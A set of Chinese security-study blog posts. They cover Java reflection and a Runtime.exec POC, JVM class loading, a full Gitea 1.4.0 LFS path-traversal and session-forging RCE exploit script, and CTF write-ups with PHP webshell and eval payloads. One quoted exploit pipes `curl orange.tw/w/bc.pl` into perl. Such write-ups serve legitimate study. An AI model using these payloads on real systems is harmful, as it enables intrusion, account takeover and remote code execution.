
在以前的文章中有简单介绍过java的反射机制,但没有深入了解,补充一下。 反射: 反射是 JVM 在运行时才动态加载类或调用方法/访问属性,它不需要事先(写代码的时候或编译期)知道运行对象是谁。主要功能是在运行时判断任意一个对象所属的类;在运行时构造任意一个类的对象;在运行时判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法);在运行时调用任意一个对象的方法 getName():获得类的完整名字。 newInstance():通过类的不带参数的构造方法创建这个类的一个对象 getSuperClass():这个类型的直接超类的全限定名 isInterface():这个类型是类类型还是接口类型 getTypeParamters():这个类型的访问修饰符 getInterfaces():任何直接超接口的全限定名的有序列表 得到构造器的方法 Constructor getConstructor(Class[] params) -- 获得使用特殊的参数类型的公共构造函数, Constructor[] getConstructors() -- 获得类的所有公共构造函数 Constructor getDeclaredConstructor(Class[] params) -- 获得使用特定参数类型的构造函数(与接入级别无关) Constructor[] getDeclaredConstructors() -- 获得类的所有构造函数(与接入级别无关) 获得字段信息的方法 Field getField(String name) -- 获得命名的公共字段 Field[] getFields() -- 获得类的所有公共字段 Field getDeclaredField(String name) -- 获得类声明的命名的字段,包括private 声明的和继承类 Field[] getDeclaredFields() -- 获得类声明的所有字段 获得方法信息的方法 Method getMethod(String name, Class[] params) -- 使用特定的参数类型,获得命名的公共方法,name参数指定方法的名字,parameterTypes 参数指定方法的参数类型。 Method[] getMethods() -- 获得类的所有公共方法 Method getDeclaredMethod(String name, Class[] params) -- 使用特写的参数类型,获得类声明的命名的方法 Method[] getDeclaredMethods() -- 获得类声明的所有方法,包括private 声明的和继承类 反射步骤: 获取一个对象 获取类的 Class 对象实例Class cla = Class.forName("cn.spleated.Car"); 根据 Class 对象实例获取 Constructor 对象Constructor CarConstructor = cla.getConstructor(); 使用 Constructor 对象的 newInstance 方法获取反射类对象Object appleObj = CarConstructor.newInstance(); import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import static java.lang.Class.forName; public class ConstructorDemo { public ConstructorDemo(){} public ConstructorDemo(int a,int b){ System.out.println("a="+a+"\nb="+b); } public static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { Class cls = forName("ConstructorDemo"); Class partypes[]=new Class[2]; partypes[0] = Integer.TYPE; partypes[1] = Integer.TYPE; Constructor ct = cls.getConstructor(partypes); Object arg[] = new Object[2]; arg[0] = new Integer(37); arg[1] = new Integer(14); Object ret = ((Constructor) ct).newInstance(arg); } } 调用某一个方法 获取方法的 Method 对象Method setPriceMethod = cla.getMethod("setPrice", int.class); 利用 invoke 方法调用方法setPriceMethod.invoke(appleObj, 14); import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class Methodemo { public int add(int a,int b){ return a+b; } public static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class cls = Class.forName("Methodemo"); Class pro[] = new Class[2]; pro[0] = Integer.TYPE; pro[1] = Integer.TYPE; Method me = cls.getMethod("add",pro); Methodemo metobj = new Methodemo(); Object arg[] = new Object[2]; arg[0] = new Integer(13); arg[1] = new Integer(25); Object reobj = me.invoke(metobj,arg); Integer ret = (Integer) reobj; System.out.println(ret.intValue()); } } Java语言执行系统命令 由JVM创建一个本机进程,加载对应的指令到进程的地址空间中,然后执行该指令。java.lang.Runtime.getRuntime().exec()和 java.lang.ProcessBuilder.start()方法,其实就是创建一个进程的方法。具体可查看Java官方文档 跟一下代码流程 进入java.lang.Runtime类中,Runtime类的构造器是private修饰的,无法直接获得Runtime类的实例,只能通过getRuntime()来间接获取一个Runtime类的实例 跟进exec()方法 exec()底层代码是调用了ProcessBuilder类 在ProcessBuilder类代码中,ProcessBuilder类用start方法创建进程。调用java.lang.ProcessImpl类的start方法,实现创建本机进程,执行系统命令的功能 跟进ProcessImpl类,他是继承自Process类的final类 查看他的构造器,是private修饰的,无法直接在java.lang包外,直接调用ProcessImpl类。 跟进ProcessImpl类的start方法,最后是返回了一个ProcessImpl 类的实例 流程图 分析下上篇文章的通过getRuntime().exec()调用计算机 import java.lang.reflect.InvocationTargetException; public class POC { public static void main(String args[]) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException { Object runtime=Class.forName("java.lang.Runtime") .getMethod("getRuntime",new Class[]{}) .invoke(null); Class.forName("java.lang.Runtime") .getMethod("exec", String.class) .invoke(runtime,"calc.exe"); } } 获取Runtime类的Class对象 分别获取Runtime类Class对象的getRuntime方法和exec方法的Method对象 利用getRuntime方法的Method对象,进行invoke调用,获得Runtime对象实例 利用exec方法的Method对象,进行invoke调用,执行系统命令 参考文献:https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.htmlhttps://china-jianchen.iteye.com/blog/728774https://xz.aliyun.com/t/2342
概念: JRE(Java运行环境):所有的Java 程序都要在JRE下才能运行。 JDK:开发者编译、调试java程序用的开发工具包。JDK的工具也是Java程序,也需要JRE才能运行。在JDK的安装目录下有一个名为jre的目录,用于存放JRE文件。 JVM(Java虚拟机)是JRE的一部分。它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。JVM有自己完善的硬件架构,如处理器、堆栈、寄存器等,还具有相应的指令系统。使用JVM就是为了支持与操作系统无关,实现跨平台。JVM在执行字节码时,实际上最终还是把字节码解释成具体平台上的机器指令执行。 JVM 类加载机制详解: JVM类加载机制分为五个部分: 加载: 通过一个`类的全限定名`来获取定义此类的二进制字节流; 将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构; 在内存中生成一个这个类的`java.lang.Class`对象,作为方法区这个类的各种数据的访问入口; 验证 : 为了确保Class文件的字节流中包含的信息符合当前虚拟机的要求,并且不会危害虚拟机自身的安全。包括文件格式验证,元数据验证,字节码验证,符号引用验证。可以采用-Xverifynone参数来关闭大部分的类验证措施,以缩短虚拟机类加载的时间 准备: 为类变量分配内存并设置类变量初始值的阶段,这些变量所使用的内存都将在方法区中进行分配。 public static int v = 8080; #变量v在准备阶段过后的初始值为0而不是8080,将v赋值为8080的putstatic指令是程序被编译后,存放于类构造器()方法之中,把value赋值为123的动作将在初始化阶段才会执行。 public static final int v = 8080; #在编译阶段会为v生成`ConstantValue`属性,在准备阶段虚拟机会根据`ConstantValue`属性将v赋值为8080。 解析: 是虚拟机将常量池中的符号引用替换为直接引用的过程。符号引用就是class文件中的CONSTANT_Class_info,CONSTANT_Field_info,CONSTANT_Method_info 符号引用:引用的目标并不一定要已经加载到内存中。各种虚拟机实现的内存布局可以各不相同,但是它们能接受的符号引用必须是一致的,因为符号引用的字面量形式明确定义在Java虚拟机规范的Class文件格式中。直接引用:指向目标的指针,相对偏移量或是一个能间接定位到目标的句柄。如果有了直接引用,那引用的目标必定已经在内存中存在。 初始化:初始化阶段是执行类构造器方法的过程。方法是由编译器自动收集类中的类变量的赋值操作和静态语句块中的语句合并而成的。虚拟机会保证方法执行之前,父类的方法已经执行完毕。如果一个类中没有对静态变量赋值也没有静态语句块,那么编译器可以不为这个类生成()方法。 什么时候需要对类进行初始化? 使用new该类实例化对象的时候; 读取或设置类静态字段的时候(但被final修饰的字段,在编译器时就被放入常量池的静态字段除外static final); 调用类静态方法的时候; 使用反射Class.forName(“xxxx”)对类进行反射调用的时候,该类需要初始化; 初始化一个类的时候,有父类,先初始化父类(注:1. 接口除外,父接口在调用的时候才会被初始化;2.子类引用父类静态字段,只会引发父类初始化); 被标明为启动类的类(即包含main()方法的类)要初始化; 当使用JDK1.7的动态语言支持时,如果一个java.invoke.MethodHandle实例最后的解析结果REF_getStatic、REF_putStatic、REF_invokeStatic的方法句柄,并且这个方法句柄所对应的类没有进行过初始化,则需要先触发其初始化。 通过子类引用父类的静态字段,只会触发父类的初始化,而不会触发子类的初始化。 定义对象数组,不会触发该类的初始化。 常量在编译期间会存入调用类的常量池中,本质上并没有直接引用定义常量的类,不会触发定义常量所在的类。 通过类名获取Class对象,不会触发类的初始化。 通过Class.forName加载指定类时,如果指定参数initialize为false时,也不会触发类初始化,其实这个参数是告诉虚拟机,是否要对类进行初始化。 通过ClassLoader默认的loadClass方法,也不会触发初始化动作。 Java语言系统自带三个类加载器: 虚拟机设计团队把加载动作放到JVM外部实现,以便让应用程序决定如何获取所需的类: Bootstrap ClassLoader 最顶层的启动类加载器,主要加载核心类库,%JRE_HOME%\lib下的jar包和class文件。或通过-Xbootclasspath参数指定路径中的类。 Extention ClassLoader 扩展的类加载器,加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。 Appclass Loader应用程序类加载器,加载用户路径的classpath的所有类。 三个类加载器的加载顺序 先创建个项目,再创建个Test.java java.lang.ClassLoader cl = Test.class.getClassLoader(); System.out.println("ClassLoader is:"+cl.toString()); System.out.println("ClassLoader\'s parent is:"+cl.getParent().toString()); System.out.println("ClassLoader\'s grand father is:"+cl.getParent().getParent().toString()); 自己编写的Test.class文件是由AppClassLoader加载的 AppClassLoader的parent是ExtClassLoader,ExtClassLoader的parent是null BootStrapClassLoader、ExtClassLoader、AppClassLoader都是加载指定路径下的jar包 JVM通过双亲委派模型进行类的加载,也可以通过继承java.lang.ClassLoader实现自定义的类加载器。 当一个类加载器收到类加载任务,会先交给其父类加载器去完成,因此最终加载任务都会传递到顶层的启动类加载器,只有当父类加载器无法完成加载任务时,才会尝试自己执行加载任务。采用双亲委派的一个好处是比如加载位于rt.jar包中的类java.lang.Object,不管是哪个加载器加载这个类,最终都是委托给顶层的启动类加载器进行加载,这样就保证了使用不同的类加载器最终得到的都是同样一个Object对象。加载过程 首先通过Class c = findLoadedClass(name);判断一个类是否已经被加载过。 如果没有被加载过执行if (c == null)中的程序,遵循双亲委派的模型,首先会通过递归从父加载器开始找,直到父类加载器是Bootstrap ClassLoader为止。 最后根据resolve的值,判断这个class是否需要解析。 一个实例 class Singleton{ private static Singleton singleton = new Singleton(); public static int value1; public static int value2 = 0; private Singleton(){ value1++; value2++; } public static Singleton getInstance(){ return singleton; } } class Singleton2{ public static int value1; public static int value2 = 0; private static Singleton2 singleton2 = new Singleton2(); private Singleton2(){ value1++; value2++; } public static Singleton2 getInstance2(){ return singleton2; } } public class jvm { public static void main(String[] args) { Singleton singleton = Singleton.getInstance(); System.out.println("Singleton1 value1:" + singleton.value1); System.out.println("Singleton1 value2:" + singleton.value2); Singleton2 singleton2 = Singleton2.getInstance2(); System.out.println("Singleton2 value1:" + singleton2.value1); System.out.println("Singleton2 value2:" + singleton2.value2); } } 结果 Singleton输出结果:1 0 首先执行main中的Singleton singleton = Singleton.getInstance(); 加载:加载类Singleton 准备:为静态变量分配内存,设置默认值。这里为singleton(引用类型)设置为null,value1,value2(基本数据类型)设置默认值0 初始化(按照赋值语句进行修改): 执行private static Singleton singleton = new Singleton(); 执行Singleton的构造器:value1++;value2++; 此时value1,value2均等于1 执行 public static int value1; public static int value2 = 0; 此时value1=1,value2=0 Singleton2输出结果:1 1 执行main中的Singleton2 singleton2 = Singleton2.getInstance2(); 加载:加载类Singleton2 准备:为静态变量分配内存,设置默认值。这里为value1,value2(基本数据类型)设置默认值0,singleton2(引用类型)设置为null, 初始化(按照赋值语句进行修改): 执行public static int value2 = 0; 此时value2=0(value1不变,依然是0); 执行 private static Singleton singleton = new Singleton(); 执行Singleton2的构造器:value1++;value2++; 此时value1,value2均等于1,即为最后结果 参考文献:https://blog.csdn.net/briblue/article/details/54973413https://yq.aliyun.com/articles/518315https://blog.csdn.net/noaman_wgs/article/details/74489549http://www.importnew.com/30567.html
参考文献 :https://github.com/vulhub/vulhub/tree/master/gitea/1.4-rcehttp://blog.nsfocus.net/gitea-1-4-0-rce/https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html gitea安装:https://www.moerats.com/archives/578/ Git LFS Git 大文件存储(简称LFS),目的是更好地把大型二进制文件,比如音频文件、数据集、图像和视频等集成到 Git 的工作流中。LFS 处理大型二进制文件的方式是用文本指针替换它们,这些文本指针实际上是包含二进制文件信息的文本文件。文本指针存储在 Git 中,而大文件本身通过HTTPS托管在Git LFS服务器上。 搭建gitea 版本:gitea1.4.0 wget -O gitea https://dl.gitea.io/gitea/1.4.0/gitea-1.4.0-linux-amd64 chmod +x gitea ./gitea web 环境启动后,访问http://you-ip:3000,进入安装页面,填写管理员账号密码,并修改网站URL,其他的用默认配置安装即可。安装完成后,创建一个公开的仓库,随便添加点文件进去。 目录穿越漏洞 未授权的任意用户都可以为某个项目创建一个Git LFS对象。这个LFS对象可以通过http://example.com/vulhub/repo.git/info/lfs/objects/[oid]这样的接口来访问,比如下载、写入内容等。其中[oid]是LFS对象的ID,通常来说是一个哈希,但gitea中并没有限制这个ID允许包含的字符。发送一个数据包,创建一个Oid为....../../../etc/passwd的LFS对象: POC POST /sheng/repo.git/info/lfs/objects HTTP/1.1 Host: 192.168.8.134:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: application/vnd.git-lfs+json Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: lang=zh-CN; i_like_gitea=b82d4cc1b92e5a61; _csrf=-e57Y5iPxeHfOnbGxVQlzpxORFA6MTU0NDA4NDUxNDkwNDE0MzIzMA%3D%3D Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 153 { "Oid": "....../../../etc/passwd", "Size": 1000000, "User" : "a", "Password" : "a", "Repo" : "a", "Authorization" : "a" } 访问创建的文件 /test/poc.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth 读取配置文件,构造JWT密文 读取gitea的配置文件。这个文件在$GITEA_CUSTOM/conf/app.ini,$GITEA_CUSTOM是gitea的根目录,默认是/var/lib/gitea/,我自己安装的是在custom里面,所以需要构造出的Oid是 ....custom/conf/app.ini (经过转换后就变成了/gitea/lfs/../../custom/conf/app.ini,也就是/custom/conf/app.ini。) Gitea中,LFS的接口是使用JWT认证,其加密密钥就是配置文件中的LFS_JWT_SECRET。可以构造JWT认证,进而获取LFS完整的读写权限。 需要安装的模块 pip install PyJWT pip install jwt 生成密文 import jwt import time import base64 def decode_base64(data): missing_padding = len(data) % 4 if missing_padding != 0: data += '='* (4 - missing_padding) return base64.urlsafe_b64decode(data) jwt_secret = decode_base64('e7AeKD-eaj5ZpbllKkeG3JyjqYfVbDazSSNvRl-1V9E') #读取到的密钥 public_user_id = 1 public_repo_id = 1 nbf = int(time.time())-(60*60*24*1000) exp = int(time.time())+(60*60*24*1000) #public_user_id是项目所有者的id,public_repo_id是项目id,这个项目指LFS所在的项目;nbf是指这个密文的开始时间,exp是这个密文的结束时间,只有当前时间处于这两个值中时,这个密文才有效。 token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256') token = token.decode() print(token) 伪造session提升权限 LFS中的路由接口 transformKey(meta.Oid) + .tmp 后缀作为临时文件名 如果目录不存在,则创建目录 将用户传入的内容写入临时文件 如果文件大小和meta.Size不一致,则返回错误(meta.size是第一步中创建LFS时传入的Size参数) 如果文件哈希和meta.Oid不一致,则返回错误 将临时文件重命名为真正的文件名 gitea中是用流式方法来读取数据包,并将读取到的内容写入临时文件,可以用流式HTTP方法,传入我们需要写入的文件内容,然后挂起HTTP连接。这时候,后端会一直等待我传剩下的字符,在这个时间差内,Put函数是等待在io.Copy那个步骤的,当然也就不会删除临时文件了。 在Gitea可以配置存储session的方式,默认是保存为文件,存储路径在/data/gitea/sessions,我的是data/sessions。把上面生成的session内容写入到一个.tmp文件,并保存在session目录下,这个tmp文件名即为sessionid,然后利用条件竞争,在文件未被删除之前带上这个sessionid,就可以登录成功。session文件名为sid[0]/sid[1]/sid,且对象被用Gob序列化后存入文件 生成一段Gob编码的session:(在线运行环境) package main import ( "fmt" "encoding/gob" "bytes" "encoding/hex" ) func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) { for _, v := range obj { gob.Register(v) } buf := bytes.NewBuffer(nil) err := gob.NewEncoder(buf).Encode(obj) return buf.Bytes(), err } func main() { var uid int64 = 1 #uid是管理员id,uname是管理员用户名 obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "sheng" } data, err := EncodeGob(obj) if err != nil { fmt.Println(err) } edata := hex.EncodeToString(data) fmt.Println(edata) } p神最终的利用脚本 import requests import jwt import time import base64 import logging import sys import json from urllib.parse import quote logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) BASE_URL = 'http://192.168.8.134:3000/sheng/repo' JWT_SECRET = 'e7AeKD-eaj5ZpbllKkeG3JyjqYfVbDazSSNvRl-1V9E' USER_ID = 1 REPO_ID = 1 SESSION_ID = '11sheng' #上面生成的session数据。 SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005bff82000306737472696e670c070005756e616d6506737472696e670c0700057368656e6706737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e74363404020002') def generate_token(): def decode_base64(data): missing_padding = len(data) % 4 if missing_padding != 0: data += '='* (4 - missing_padding) return base64.urlsafe_b64decode(data) nbf = int(time.time())-(60*60*24*1000) exp = int(time.time())+(60*60*24*1000) token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256') return token.decode() def gen_data(): yield SESSION_DATA time.sleep(300) yield b'' OID = f'....data/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}' response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={ 'Accept': 'application/vnd.git-lfs+json' }, json={ "Oid": OID, "Size": 100000, "User" : "a", "Password" : "a", "Repo" : "a", "Authorization" : "a" }) logging.info(response.text) response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={ 'Accept': 'application/vnd.git-lfs', 'Content-Type': 'application/vnd.git-lfs', 'Authorization': f'Bearer {generate_token()}' }) 将伪造的SESSION数据发送,并等待300秒后才关闭连接。在这300秒中,服务器上将存在一个名为11sheng.tmp的文件,这也是session id。
https://www.anquanke.com/post/id/162656http://wonderkun.cc/index.html/?p=718 环境 ubuntu 18.04 php 7.2 PS:lsb_release -a //查看ubuntu的发行版本 题目 <?php ($_=@$GET['orange']) && @substr(file($_)[0],0,6) ==='@<?php' ?include($_):highlight_file(__FILE__); ?> PS:通过 get 方式传入一个 orange 参数,作为文件名,然后程序会将我们传入文件名的那个文件取出头6个字符和 @<?php 比对,如果配对成功那么就会包含这个文件,否则就什么都不做 解题思路: 通过 PHP_SESSION_UPLOAD_PROGRESS控制 session 文件 php7.2的session文件存储路径是固定的/var/lib/php/sessions/sess_{php_session_id} 文件的开头必须是 @<?php,sess文件中的内容 upload_progress_K0rz3n|a:5:{s:10:"start_time";i:1540314711;s:14:"content_length";i:764161;s:15:"bytes_processed";i:5302;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"submit";s:4:"name";s:7:"tmp.gif";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540314711;s:15:"bytes_processed";i:5302;}}} 这个文件是以 upload_progress 开头的,不能直接包含,需要控制这个开头。 convert.base64-decode Base64的索引表由64个ASCII字符组成:0-9,26个英文小写字母a-z,26个英文大写字母:A-Z,除此之外还有额外两个字符"+"和"/"。遇到不符合 base64 规定字符的就会将其忽略 string.strip_tags 从字符串中去除 HTML 和 PHP 标记 最终payload upload_progress_是16个字符,但是根据 b64 的 decode 规则,其中只有14个字符能解析,但是 14个字符又不是 4 的整数倍,于是我们必须添加两个字符,将其变成16位。必须要保证在加了这个字符以后每次 b64 可解码的位数都是4 的整数倍,要不然就会吞掉我们的 payload。 echo "upload_progress_ZZ".base64_encode(base64_encode(base64_encode('@<?php eval($_GET[1]);'))); 得到: upload_progress_ZZVVVSM0wyTkhhSGRKUjFZeVdWZDNiMHBHT1VoU1ZsSmlUVll3Y0U5M1BUMD0= 三次解码: 查看源码 Orange大佬的 exp import sys import string import requests from base64 import b64encode from random import sample, randint from multiprocessing.dummy import Pool as ThreadPool HOST = 'http://54.250.246.238/' sess_name = 'iamorange' headers = { 'Connection': 'close', 'Cookie': 'PHPSESSID=' + sess_name } payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>' while 1: junk = ''.join(sample(string.ascii_letters, randint(8, 16))) x = b64encode(payload + junk) xx = b64encode(b64encode(payload + junk)) xxx = b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: print xxx break def runner1(i): data = { 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + xxx + 'Z' } while 1: fp = open('/etc/passwd', 'rb') r = requests.post(HOST, files={'f': fp}, data=data, headers=headers) fp.close() def runner2(i): filename = '/var/lib/php/sessions/sess_' + sess_name filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename # print filename while 1: url = '%s?orange=%s' % (HOST, filename) r = requests.get(url, headers=headers) c = r.content if c and 'orange' not in c: print if sys.argv[1] == '1': runner = runner1 else: runner = runner2 pool = ThreadPool(32) result = pool.map_async( runner, range(32) ).get(0xffff)
参考文献:https://m3lon.github.io/2018/05/29/RCTF-r-cursive-wp/http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/ 递归匹配:http://www.laruence.com/2011/09/30/2179.html easy - phpmagic 源码 <?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); ?> <!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous"> <title>Domain Detail</title> <style> pre { width: 100%; background-color: #f6f8fa; border-radius: 3px; font-size: 85%; line-height: 1.45; overflow: auto; padding: 16px; border: 1px solid #ced4da; } </style> </head> <body> <div class="container"> <div class="row"> <div class="col"> <form method="post"> <div class="input-group mt-3"> <div class="input-group-prepend"> <span class="input-group-text" id="basic-addon1">dig -t A -q</span> </div> <input type="text" name="domain" class="form-control" placeholder="Your domain"> <div class="input-group-append"> <button class="btn btn-outline-secondary" type="submit">执行</button> </div> </div> </form> </div> </div> <div class="row"> <div class="col"> <pre class="mt-3"><?php if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?></pre> </div> </div> </div> </body> </html> 解题思路 能控制文件名和文件内容,但是文件内容被htmlspecialchars函数过滤了一次,尖括号没了。PHP的一个特点:只要是传filename的地方,基本都可以传协议流。而file_put_contents的第一个参数就是传filename的地方一个简单的栗子 利用php伪协议流解码base64写入webshell其他问题 后缀名将能解析php文件的全禁止了 $log_name之前会加上$_SERVER['SERVER_NAME'],不完全可控文件名 文件内容也不完全可控 解决方法 一个可以在windows和linux上都行得通的方法: filename=1.php/.&content=<?php phpinfo();?> 在操作系统中,都是禁止使用/作为文件名的,但是后面加一个.就可以成功的写入1.php了。pathinfo就取不到后缀名,可以正常写入.php之中。且无论是在windows上还是linux上,每次都只可以创建新文件,不能覆盖老文件 $_SERVER['SERVER_NAME']取的是HTTP headers中的Host的值。md5($_SERVER['REMOTE_ADDR'])是自己本机外网ip的md5值 最终payload domain=PD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=6.php/. 在p神的环境上可以直接成功。但是在本机上测试的时候,写入的文件一直是乱码,后来经大佬提醒才知道还需填充字符串。(左边是p神的环境,右边是自己的) 在自己本机上的payload domain=aaaPD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=8.php/. easy - phplimit 源码 <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); } 解题思路 \W:任意个非单词字符。匹配非字母、数字、下划线。等价于 `[^A-Za-z0-9_]` ?: 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \? \((?R)?\):(?R)*表示, 正则式本身, 可以认为是:`(正则本身(正则本身).....)`。 那么此题最终的正则匹配就是可以递归执行函数,不可以带参数。php函数 getcwd ():取得当前工作目录 dirname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。 chdir():改变当前的目录。 scandir(directory):返回一个 array,包含有 `directory` 中的文件和目录 readdir ():返回目录中下一个文件的文件名。文件名以在文件系统中的排序返回 array_reverse() :接受数组 array 作为输入并返回一个单元为相反顺序的新数组 next():它返回的是下一个数组单元的值并将数组指针向前移动了一位。 get_defined_vars ():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 reset():将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。 不带参数的一些函数组合 ?code=print(phpinfo()); ?code=print(readdir(opendir(getcwd()))); #列目录 ?code=print(readfile(readdir(opendir(getcwd())))); #读文件 ?code=print(dirname(dirname(getcwd()))); #print出/var ?code=eval(implode(getallheaders())); #apache模块的函数 ?code=eval(implode(get_defined_vars())); 最终payload ?code=readfile(implode(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); #查看当前文件夹 ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); 或者 ?1=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())))